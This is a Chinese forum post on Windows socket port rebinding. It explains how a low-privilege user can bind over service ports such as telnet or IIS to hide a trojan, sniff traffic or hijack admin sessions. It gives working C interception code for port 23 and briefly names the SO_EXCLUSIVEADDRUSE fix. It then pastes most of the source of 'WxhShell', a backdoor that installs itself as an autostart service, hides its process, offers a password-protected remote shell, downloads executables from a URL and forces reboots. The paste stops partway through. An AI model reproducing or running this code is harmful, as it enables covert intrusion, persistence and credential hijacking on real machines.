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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0~|0D#klB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c%&,(NJ]K  
m#"_x{oa  
  saddr.sin_family = AF_INET; v%tjZ5x  
<Q[%:LD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  3Y#Q'r?  
~i,d%a  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &l(T},-X  
7)?C+=,0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 H2X_W Swm  
w$]G$e  
  这意味着什么?意味着可以进行如下的攻击: kmQ:wf:  
_c5@)I~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]U?nYppV  
l*CulVX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) g2OnLEF]s  
pPReo)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~q>jXi  
vYgJu-Sl  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /[R=-s ;  
inu.U[.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 HQ-[k$d W4  
wL;OQhI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 cVi_#9u"  
~OD6K`s3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]LE,4[VxRz  
;,y_^-h;  
  #include Gb')a/  
  #include 9z,sn#-t  
  #include P`tOL#UeZL  
  #include    H_xHoCLI  
  DWORD WINAPI ClientThread(LPVOID lpParam);   c <TEA  
  int main() Ha v&vV  
  { E|=x+M1sH  
  WORD wVersionRequested; gS(3m_  
  DWORD ret; CL<-3y*  
  WSADATA wsaData; '}cSBbl&/n  
  BOOL val; :ez76oGyc  
  SOCKADDR_IN saddr; [R]V4Hb  
  SOCKADDR_IN scaddr; r O87V!Cj  
  int err; AD;m[u7  
  SOCKET s; :Drf]D(sMX  
  SOCKET sc; <bcf"0A  
  int caddsize; #  X (2  
  HANDLE mt; L*0YOE%=]  
  DWORD tid;   =!Ik5LiD  
  wVersionRequested = MAKEWORD( 2, 2 ); {i>AQ+z61f  
  err = WSAStartup( wVersionRequested, &wsaData ); MN: {,#d0  
  if ( err != 0 ) { &A:&2sP8  
  printf("error!WSAStartup failed!\n"); Dj/Hz\  
  return -1; a1,)1y~  
  }  ?K-4T  
  saddr.sin_family = AF_INET; ~-"CU:$o  
   h;=~%2Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F:zmO5L5  
?e%*q^~Cu  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )U/Kz1U  
  saddr.sin_port = htons(23); L7ae6#5.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b+Q{Z*  
  { +2[0q% i  
  printf("error!socket failed!\n"); 9KK^1<46c  
  return -1; RHsVG &<j  
  } D#nHg  
  val = TRUE; <Zva  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6 ;'s9s"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8UB2 du@?  
  { G}U <^]c  
  printf("error!setsockopt failed!\n"); =Ti!9_~  
  return -1; + S+!:IB  
  }  II'.vp  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; % jDH{xSMb  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5Q"yn2b4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c@A.jc  
(-ELxshd  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) RIkIE=+6  
  { !\b-Ot(  
  ret=GetLastError(); j32*9  
  printf("error!bind failed!\n"); taDe^Ist j  
  return -1; kB+$Kt<]L  
  } o0WwlmB5  
  listen(s,2); :@(1~Hm  
  while(1) 6TRLHL~B  
  { 2UQF:R?LQ  
  caddsize = sizeof(scaddr); olv&K(-ccI  
  //接受连接请求 iKq_s5|sW  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !S~)U{SSK  
  if(sc!=INVALID_SOCKET) D)MFii1J~  
  { Q 1i5"'][  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?C CQm  
  if(mt==NULL) cO:lpsKYQ  
  { N_G&nw  
  printf("Thread Creat Failed!\n"); IAA_Ft  
  break; F]RPM(!5O)  
  } ,wf_o%'eW  
  }  x,: k/]  
  CloseHandle(mt); Ztk%uc8_lM  
  } c ,#=In2  
  closesocket(s); PY|zN|  
  WSACleanup(); ZQ"dAR/y  
  return 0; I484c R2.  
  }   5VE=Oo#&  
  DWORD WINAPI ClientThread(LPVOID lpParam) .BjWZj  
  { B<~AUf*y  
  SOCKET ss = (SOCKET)lpParam; wmpQF<  
  SOCKET sc; qKSR5 #  
  unsigned char buf[4096]; iK2f]h  
  SOCKADDR_IN saddr; WiH8j$;xu  
  long num; y%|Ez  
  DWORD val; aP(~l_  
  DWORD ret; aGW O3Nk  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N?3p,2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i`YZ;L L  
  saddr.sin_family = AF_INET; G%Lt>5*!nE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); TFldYKd/l  
  saddr.sin_port = htons(23); ~M7X]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iwIn3R,  
  { 3 85qQppz  
  printf("error!socket failed!\n"); Cw^iA U  
  return -1; foPM5+.G  
  } 8-gl$h  
  val = 100; lB2 F09`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I3Co   
  { iTevl>p!  
  ret = GetLastError(); ipG 0ie+  
  return -1; g3s5ra[  
  } ?i_2ueVR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Vuy%7H  
  { t(<k4ji,  
  ret = GetLastError(); /?BTET  
  return -1; IUAe6  
  } !C4)P3k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .WeSU0XG  
  { Q@p' nE,  
  printf("error!socket connect failed!\n"); pv4#`.m  
  closesocket(sc); 7E* 0;sA#  
  closesocket(ss); "z6p=B"?3  
  return -1; D=LsoASVI  
  } Ww~C[8q  
  while(1) nYC.zc*ox  
  { bfUKh%!M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j*?E~M.'1K  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?gu!P:lZS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 GQ85ykky  
  num = recv(ss,buf,4096,0); E Id>%0s5  
  if(num>0) Yq/vym-O5  
  send(sc,buf,num,0); Gqq< -drR  
  else if(num==0) %/)z!}{  
  break; A+Bq5mik  
  num = recv(sc,buf,4096,0); EAh|$~X  
  if(num>0) b L.Xb y<Y  
  send(ss,buf,num,0); Q?.9BM1V  
  else if(num==0) i Ya)*,  
  break; Lcg1X3$G  
  } ^-Ks_4  
  closesocket(ss); /=V!lRs  
  closesocket(sc); \7UeV:3Ojn  
  return 0 ; q-1vtbn  
  } ]}S9KP  
"1dpv \  
)#Ecm<.^  
========================================================== !#1UTa  
=C#z Px,  
下边附上一个代码,,WXhSHELL hey/#GC*  
xhCNiYJ|  
========================================================== qU&v50n  
fyZtwl@6w#  
#include "stdafx.h" dXWG`G_  
E-X02A  
#include <stdio.h> @CPkP  
#include <string.h> :3se/4y}  
#include <windows.h> 'D[ *|Qcy  
#include <winsock2.h> XThU+s9  
#include <winsvc.h> ?!tO'}?  
#include <urlmon.h> *Qngx  
%YuFw|wO  
#pragma comment (lib, "Ws2_32.lib") 0m4#{^Y  
#pragma comment (lib, "urlmon.lib") l7WZ" 6d  
/w5c:BH  
#define MAX_USER   100 // 最大客户端连接数 %}  
#define BUF_SOCK   200 // sock buffer yp hd'Pu"  
#define KEY_BUFF   255 // 输入 buffer q@mZ0D-  
@Us#c 7/  
#define REBOOT     0   // 重启 Sw{rNzh%$  
#define SHUTDOWN   1   // 关机 C:!&g~{cKi  
fX LsLh+~D  
#define DEF_PORT   5000 // 监听端口 aTaL|&(  
I]#x0?D  
#define REG_LEN     16   // 注册表键长度 Qc Xw -  
#define SVC_LEN     80   // NT服务名长度 GB*^?Ii  
!bW^G} <t  
// 从dll定义API :p1_ij]ND  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Oxi^&f||`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AAi4} 8+\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gxDyCL$h3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9)F$){G]vs  
b^~4k; <  
// wxhshell配置信息 ;F2"gTQS  
struct WSCFG { wLq#,X>%B  
  int ws_port;         // 监听端口 .L)j ql%  
  char ws_passstr[REG_LEN]; // 口令 x` 4|^ u  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4{$ L]toP  
  char ws_regname[REG_LEN]; // 注册表键名 43`Atw`\  
  char ws_svcname[REG_LEN]; // 服务名 ;P8.U(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YRaF@?^Gn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2 I.Q-'@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q9g^'a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BgsU:eKe  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~:b5UIAk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CT.hBz -S  
o3'Za'N.  
}; }dq)d.c  
Q2gz\N  
// default Wxhshell configuration qz-lQ  
struct WSCFG wscfg={DEF_PORT, UJ)( Sw  
    "xuhuanlingzhe", OQ3IkE`G  
    1, b\SB  
    "Wxhshell",  o^d  
    "Wxhshell", m7cG ]a~a  
            "WxhShell Service", fo;^Jg.  
    "Wrsky Windows CmdShell Service", m.yt?`  
    "Please Input Your Password: ", ,_'Z Jlx  
  1, @ &GA0;q0t  
  "http://www.wrsky.com/wxhshell.exe", tv9 R$-cJ  
  "Wxhshell.exe" 6(B[(Af  
    }; ur+\!y7^R  
Z(ToemF)hi  
// 消息定义模块 ocj^mxh =O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tY`%vI [  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S8e?-rC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YB9)v5Nz(  
char *msg_ws_ext="\n\rExit."; K &G  
char *msg_ws_end="\n\rQuit."; tRR<4}4R  
char *msg_ws_boot="\n\rReboot..."; _]kw |[)  
char *msg_ws_poff="\n\rShutdown..."; ?J5E.7o  
char *msg_ws_down="\n\rSave to "; RbEtNwG@c  
na|23jz4  
char *msg_ws_err="\n\rErr!"; K!tM "`a  
char *msg_ws_ok="\n\rOK!"; 5BMrn0  
;C5 J ^xHI  
char ExeFile[MAX_PATH]; ](k}B*Ab h  
int nUser = 0; kI~; 'M  
HANDLE handles[MAX_USER]; kznm$2 b  
int OsIsNt; mN" g~o*  
1[(/{CClB  
SERVICE_STATUS       serviceStatus; [58qC:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :W[d&e  
s&W^?eKr  
// 函数声明 XAUHF-"WE  
int Install(void); 5Kkp1K$M  
int Uninstall(void); qc/)l~]?g{  
int DownloadFile(char *sURL, SOCKET wsh); %Xl(wvd   
int Boot(int flag); bl8y o4  
void HideProc(void); (7|!%IO.  
int GetOsVer(void); -aM7>YR  
int Wxhshell(SOCKET wsl); R@[1a+}5  
void TalkWithClient(void *cs); UmP\;  
int CmdShell(SOCKET sock); -pN'r/$3V  
int StartFromService(void); K^[Dz\ov5  
int StartWxhshell(LPSTR lpCmdLine); j'LO '&sQ(  
@=6$ImU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _^NL{R/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oazy%n(KZ  
q[~+Zm  
// 数据结构和表定义 8sU}[HH*1  
SERVICE_TABLE_ENTRY DispatchTable[] = IoxdWQ4]A  
{ iRI7x)^0"z  
{wscfg.ws_svcname, NTServiceMain}, 0PJ7o#}_{@  
{NULL, NULL} {xQ(xy  
}; "tU,.U  
a_Z[@W  
// 自我安装  B"Ttr+  
int Install(void) m$^v/pLkM  
{ u [LsH  
  char svExeFile[MAX_PATH]; tzG.)Uqs  
  HKEY key; &BRi& &f  
  strcpy(svExeFile,ExeFile); =R||c  
}b]z+4U a(  
// 如果是win9x系统,修改注册表设为自启动 X8   
if(!OsIsNt) { xY`$j'u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0' II6,:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \r&9PkHWo  
  RegCloseKey(key); Ehg(xK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i/q1>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R?J=5tO  
  RegCloseKey(key); :cE~\B S&  
  return 0; `j(-y`fo  
    } uVLKR PY  
  } LVNJlRK  
} )uH#+IU  
else { Q|nGY:98  
hv9k9i7@l  
// 如果是NT以上系统,安装为系统服务 f26hB;n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Jrw R:_+|  
if (schSCManager!=0)  kSU]~x  
{ l#!6 tw+e?  
  SC_HANDLE schService = CreateService +Am\jsq  
  ( KOVR=``"/  
  schSCManager, R}0!F 2  
  wscfg.ws_svcname, mI3 \n  
  wscfg.ws_svcdisp, f VpE&F  
  SERVICE_ALL_ACCESS, {h}e 9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q1u/QA:z7  
  SERVICE_AUTO_START, >WYradLUi  
  SERVICE_ERROR_NORMAL, HpR(DG) ?  
  svExeFile, nB#XQ8Nzx^  
  NULL, nrRP1`!]T  
  NULL, ;Km74!.e7  
  NULL, f]]UNS$AYQ  
  NULL, nQ^ c{Bm:  
  NULL yq\p%z$:  
  ); |eFce/  
  if (schService!=0) 0I"r*;9?K  
  { Cc>+OUL  
  CloseServiceHandle(schService); Tj,1]_`=V$  
  CloseServiceHandle(schSCManager); lb<D,&+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 61&A`  
  strcat(svExeFile,wscfg.ws_svcname); .WT ar9e#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #@K %Mx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9 az{j 1  
  RegCloseKey(key); rCgoU xW`  
  return 0; \[W)[mH_  
    } M%qHf{ B  
  } <~-cp61z;  
  CloseServiceHandle(schSCManager); S3.76&  
} geSH3I   
} }(Dt,F`  
*_!}g ]  
return 1; ,p[9EW*8  
} {K42PmQL  
_Xzl=j9[  
// 自我卸载 *MZa|Xy  
int Uninstall(void) oTLpq:9J  
{ "P@oO,.  
  HKEY key; b[`fQv$G  
/m(v5v7(  
if(!OsIsNt) { 5.zv0tJku  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [}Pi $at  
  RegDeleteValue(key,wscfg.ws_regname); jP"l5  
  RegCloseKey(key); .GOF0puiM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &ub0t9R  
  RegDeleteValue(key,wscfg.ws_regname); @w5x;uB|%G  
  RegCloseKey(key); ]U)Yg  
  return 0; 9a3mN(<  
  } } +ZZO0  
} U@<]>.$  
} U6yZKK  
else { ud:5_*  
VDy\2-b8d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .Arcsg   
if (schSCManager!=0) xdkC>o4>  
{ u#~q86k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K *xca(6  
  if (schService!=0) ,7mB`0j>  
  { qttJ*zu  
  if(DeleteService(schService)!=0) { V"DilV$v  
  CloseServiceHandle(schService); 0m 7_#g4$L  
  CloseServiceHandle(schSCManager);  Va3/#is'  
  return 0; 8a,pDE  
  } L@>$ Aw  
  CloseServiceHandle(schService); x4%1P w  
  } [ T!0ka  
  CloseServiceHandle(schSCManager); (hFyp}jkk  
} $hq'9}ASOL  
} SVJt= M  
RSK5 }2  
return 1; 1?,1EYT"  
} -wrVhCd~g]  
j$Wd[Ja+O  
// 从指定url下载文件 lmpBf{~ S  
int DownloadFile(char *sURL, SOCKET wsh) 9HBRWh6  
{ $ v0beN6MG  
  HRESULT hr; =dDr:Y<@*  
char seps[]= "/"; r0(*]K:.  
char *token; ]o3K  
char *file; d_aHUmI^"  
char myURL[MAX_PATH]; $s"{C"4q  
char myFILE[MAX_PATH]; } za "rU  
c= #V*<  
strcpy(myURL,sURL); : oO ?A  
  token=strtok(myURL,seps); y`8 bx94jB  
  while(token!=NULL) iTIYq0u|#R  
  { E2u9>m4_J  
    file=token; 1yV+~)by3  
  token=strtok(NULL,seps); pUD(5v*0R  
  } f S-PM3  
iM(Q-%HP_  
GetCurrentDirectory(MAX_PATH,myFILE); r%412 #  
strcat(myFILE, "\\"); t5;)<N`  
strcat(myFILE, file); Vh'H =J  
  send(wsh,myFILE,strlen(myFILE),0); SBh"^q  
send(wsh,"...",3,0); U2vM|7 ]VP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); , Aw Z%  
  if(hr==S_OK) RAB'%CY4  
return 0; p4^&G/'  
else `Y_G*b.Rm  
return 1; 8Ai\T_l  
7-A/2/G<  
} S?<hs,  
fOJTy0jX8  
// 系统电源模块 v$~$_K  
int Boot(int flag) gi #dSd1\&  
{ I#PhzGC@  
  HANDLE hToken; $L"h|>b\o  
  TOKEN_PRIVILEGES tkp; (C.<H6]=  
kcG_ n  
  if(OsIsNt) { H7dT6`<~Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k keDt+^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ODNZLCB~t  
    tkp.PrivilegeCount = 1; L25%KGg' o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )18C(V-x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ToX--w4  
if(flag==REBOOT) { Jp"yb`w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o1Nfn'!3/>  
  return 0; LDh,!5G-M  
} L%;[tu(*  
else { ;LqpX!Pi f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mnL+@mm  
  return 0; nZ % %{#T7  
} 5jAS1XG  
  } RmRPR<vGW  
  else { qPoN 8>.  
if(flag==REBOOT) { %&j \:X~A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r1 [c+Hy  
  return 0; [,56oMd~  
} y;<F|zIm  
else { K$I`&M(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XNJ3.w:R  
  return 0; Z ygu/M 6  
} 6u>]-K5  
} +E-CsNAZ*"  
$:RR1.Tv  
return 1; 0Ua&_D"  
} Z rv:uEl  
7~Z(dTdSG  
// win9x进程隐藏模块 89Ir}bCr  
void HideProc(void) :!ablO~  
{ WG*),P?  
A DVUx}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a:Nf +t  
  if ( hKernel != NULL ) |]5`T9K@b#  
  { "x3x$JQZy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uHq;z{ 2GI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8]D0)  
    FreeLibrary(hKernel); P^AI*tH"m  
  } 1gQ_76Yck  
#I1q,fm  
return; #>6Jsnv1  
} c9x&:U  
d hjX[7Bl9  
// 获取操作系统版本 SY.ZEJcv  
int GetOsVer(void) <nTZs`$LwL  
{ vXm'ARj  
  OSVERSIONINFO winfo; \/64Xv3L0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vi28u xc  
  GetVersionEx(&winfo); +)LCYDRV7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }U'  
  return 1; mLx=Zes:.  
  else d$"?8r4:K  
  return 0; ,^RZ1tLz  
} n?U^vK_  
U(Tl$#Bt  
// 客户端句柄模块 O?ODfO+>  
int Wxhshell(SOCKET wsl) g(9kc<`3'D  
{ $[Q;{Q  
  SOCKET wsh; #Vu;R5GZ}  
  struct sockaddr_in client; 1'N<ITb  
  DWORD myID; C]Y%dQh+a  
%o 5'M^U  
  while(nUser<MAX_USER) iI>7I<_  
{ =3ovaP  
  int nSize=sizeof(client); C^;>HAK|F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H+Aidsn  
  if(wsh==INVALID_SOCKET) return 1; =X9fn  
'E&tEbY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  AGm=0Om  
if(handles[nUser]==0) *?\u5O(  
  closesocket(wsh); UVXSW*$  
else w{t]^w:  
  nUser++; mFeR~Bi>!  
  } zdw* ?C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wX$|(Y }  
Zl>dBc%  
  return 0; f >.^7.is  
} ,"Fl/AjO  
Y'5(exW  
// 关闭 socket +u&[ j/  
void CloseIt(SOCKET wsh) F-$!e?,H  
{ 9)t[YE:U3!  
closesocket(wsh); @]]&^ 7  
nUser--; 9g\;L:'  
ExitThread(0); TyjZ  
} plp-[eKcD  
J.'%=q(Sb  
// 客户端请求句柄 ANNVE},  
void TalkWithClient(void *cs) 9ln=f=  
{ ALV(fv$cD  
,i1BoG  
  SOCKET wsh=(SOCKET)cs; &=MVX>[  
  char pwd[SVC_LEN]; N:+)6a  
  char cmd[KEY_BUFF]; \|6VGh \Z  
char chr[1]; {o 2 qY|S  
int i,j; H>W8F2VT  
fERO(o  
  while (nUser < MAX_USER) { Xhq6l3M  
wZN_YFwQ  
if(wscfg.ws_passstr) { shw"TF>?zG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8\^A;5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !^ad{# |X  
  //ZeroMemory(pwd,KEY_BUFF); 7BL)FJ]UR]  
      i=0; TQmrL  
  while(i<SVC_LEN) { M9afg$;.xe  
DIw_"$'At  
  // 设置超时 nmts% u  
  fd_set FdRead; %<x! mE x  
  struct timeval TimeOut; % 1$#fxR  
  FD_ZERO(&FdRead); P%H  Dz  
  FD_SET(wsh,&FdRead); Fe4>G8uuwn  
  TimeOut.tv_sec=8; ca,W:9#.xn  
  TimeOut.tv_usec=0; IRwtM'%0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -- FzRO{D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JSi0-S[Y{  
k_!e5c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fIl!{pv[  
  pwd=chr[0]; jw9v&/-  
  if(chr[0]==0xd || chr[0]==0xa) { _Z!@#y@j  
  pwd=0; GGhk~H4OP  
  break; i#hFpZ6u  
  } ~ !!\#IX  
  i++; dJ m9''T')  
    } ~D>pu%F  
KX]!yA  
  // 如果是非法用户,关闭 socket 3F@P$4!#l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Eh ";irE  
} $xbW*w  
BV`\6SM~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =#,`k<v%I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yk)]aqic  
IhBc/.&RL  
while(1) { p7@R+F\.};  
[!yA#{xl,  
  ZeroMemory(cmd,KEY_BUFF); &e@)yVLL  
2jC`'8  
      // 自动支持客户端 telnet标准   * 70 ZAo4  
  j=0; >Rd~-w)!|  
  while(j<KEY_BUFF) { (/N&_r4x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )0iN2L]U;  
  cmd[j]=chr[0]; .1jiANY  
  if(chr[0]==0xa || chr[0]==0xd) { "GQ Q8rQ  
  cmd[j]=0; %^HE^ &  
  break; 9i}$245lB  
  } y:}qoT_.  
  j++; TKv!wKI  
    } uBa<5YDF  
N{S) b  
  // 下载文件 |:&6eDlR  
  if(strstr(cmd,"http://")) { 1*Pxndt&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m;]wKd"  
  if(DownloadFile(cmd,wsh)) 8>,w8(Nt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `H6~<9r  
  else 3>-h- cpMX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #$- E5R;x  
  } &.\7='$F  
  else { xBA"w:<  
;//9,x9;t  
    switch(cmd[0]) { U:C:ugm  
  *k}m?;esb  
  // 帮助 ?nGiif  
  case '?': { MCmb/.&wu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xdm\[s  
    break; wuA?t  
  } gK`w|kh`  
  // 安装 KDq="=q  
  case 'i': { o~IAZU39  
    if(Install()) ~qrSHn}+PU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]|.ked  
    else 3@Mh* \;\b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X!ruQem /  
    break; jRg gj`o  
    } 3WJk04r  
  // 卸载 #mw !_]  
  case 'r': { @m9pb+=v  
    if(Uninstall()) q\?s<l63  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); > 0MP[  
    else Z|uvrFa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3TF_$bd{  
    break; p> `rTaeZg  
    } Iz09O:ER  
  // 显示 wxhshell 所在路径 1xW!j!A;  
  case 'p': { B/1j4/MS  
    char svExeFile[MAX_PATH]; Oh*~+/u}q  
    strcpy(svExeFile,"\n\r"); eZa*WI=  
      strcat(svExeFile,ExeFile); 3- Kgz  
        send(wsh,svExeFile,strlen(svExeFile),0); 4SJ aAeIZ  
    break; bTc >-e,  
    } F nA Kfh(  
  // 重启 6M*z`B{hV  
  case 'b': { q>.7VN[ vE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d#rr7O  
    if(Boot(REBOOT)) fd&Fn=!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ak9{P`  
    else { `Npa/Q  
    closesocket(wsh); xo_STLAw  
    ExitThread(0); rMDvnF  
    } rF-SvSj}  
    break; S)WxTE9  
    } RW. qw4  
